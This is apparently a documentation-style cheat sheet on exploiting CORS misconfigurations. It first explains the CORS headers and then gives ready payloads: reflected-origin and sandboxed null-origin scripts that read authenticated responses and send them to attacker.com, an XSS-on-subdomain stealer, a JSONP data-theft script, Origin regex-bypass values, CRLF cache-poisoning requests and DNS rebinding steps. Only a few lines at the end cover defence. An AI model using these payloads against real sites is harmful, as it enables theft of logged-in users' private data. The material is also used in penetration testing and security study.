Skip to main content
Cross-Origin Resource Sharing (CORS) enables servers to define who can access their assets from external sources. Misconfigurations allow attackers to steal sensitive data from authenticated users.

CORS Headers Reference

HeaderPurpose
Access-Control-Allow-OriginSpecifies allowed origins (can be *, null, or specific origin)
Access-Control-Allow-CredentialsIf true, allows sending cookies with cross-origin requests
Access-Control-Allow-MethodsHTTP methods permitted in the actual request
Access-Control-Allow-HeadersRequest headers allowed
Access-Control-Max-AgePreflight response cache duration
Access-Control-Expose-HeadersHeaders exposed to JavaScript
Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true is not permitted by browsers. This combination is always rejected.

Exploitable Misconfigurations

Reflected Origin

When the server dynamically reflects the Origin header value in Access-Control-Allow-Origin:
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get', 'https://example.com/sensitive-details', true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location = '/log?key=' + this.responseText;
  }
</script>

Null Origin Exploit

Some applications whitelist null origin for local development. Use a sandboxed iframe to generate null origin:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = function() {
      location='https://attacker.com/log?key='+encodeURIComponent(this.responseText);
    };
    req.open('get', 'https://example.com/details', true);
    req.withCredentials = true;
    req.send();
  </script>"></iframe>

Regex Bypass Techniques

# Prefix match bypass: attacker registers victim-evil.com
Origin: https://victim.com.evil-attacker.com

# Suffix match bypass: attacker registers evil-victim.com
Origin: https://evil-victim.com

# Underscore in subdomain (Chrome/Firefox)
Origin: https://target.application_.arbitrary.com

# Special chars (Safari)
Origin: https://target.application}.arbitrary.com

XSS on Whitelisted Subdomain

If sub.requester.com is whitelisted and vulnerable to XSS:
// From sub.requester.com (after XSS)
var req = new XMLHttpRequest();
req.open('get', 'https://provider.com/sensitive', true);
req.withCredentials = true;
req.onload = function() { location = 'https://attacker.com/steal?d=' + this.responseText; };
req.send();

Server-Side Cache Poisoning

If the server doesn’t sanitize the Origin header for illegal characters, inject HTTP headers via \r\n (0x0d 0x0a):
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
The response becomes:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
If cached, this response is served to other users, enabling persistent XSS via UTF-7 encoding.

Client-Side Cache Poisoning

If the page reflects a custom header without encoding:
<script>
  function gotcha() { location = url; }
  var req = new XMLHttpRequest();
  url = 'https://example.com/';
  req.onload = gotcha;
  req.open('get', url, true);
  req.setRequestHeader('X-Custom-Header', '<svg/onload=alert(1)>');
  req.send();
</script>
If the response is cached (without Vary: Origin), subsequent visits serve the poisoned response.

XSSI / JSONP Bypass

<!-- JSONP endpoint doesn't enforce CORS -->
<script src="https://victim.com/api/user?callback=stealData"></script>
<script>
function stealData(data) {
  fetch('https://attacker.com/steal?d=' + JSON.stringify(data));
}
</script>

DNS Rebinding Attacks

DNS Rebinding via TTL

  1. Victim visits attacker’s page
  2. Attacker changes DNS A record (TTL=0) to internal IP
  3. Victim’s browser re-resolves DNS and now same-origin with internal service
  4. Attacker can read internal service responses
Tools: DNSrebinder, rebind.it

DNS Rebinding via Multiple IPs

  1. Set two A records: attacker IP + 0.0.0.0 (Linux/macOS)
  2. First request goes to attacker IP (serves payload)
  3. Attacker blocks their IP with iptables
  4. Second request resolves to 0.0.0.0 (localhost)
  5. Browser treats as same origin

DNS Rebinding over DoH (DNS-over-HTTPS)

# Chrome DoH test
curl -H 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq

# Firefox DoH settings
# Settings → Network Settings → Enable DNS over HTTPS
Some DoH providers (NextDNS) replace private/loopback answers with 0.0.0.0, but Linux/macOS still route to local services.

Protections Against DNS Rebinding

  • Use TLS in internal services
  • Require authentication to access data
  • Validate the Host header on internal services
  • Implement HTTPS with valid certificates

Tools

Build docs developers (and LLMs) love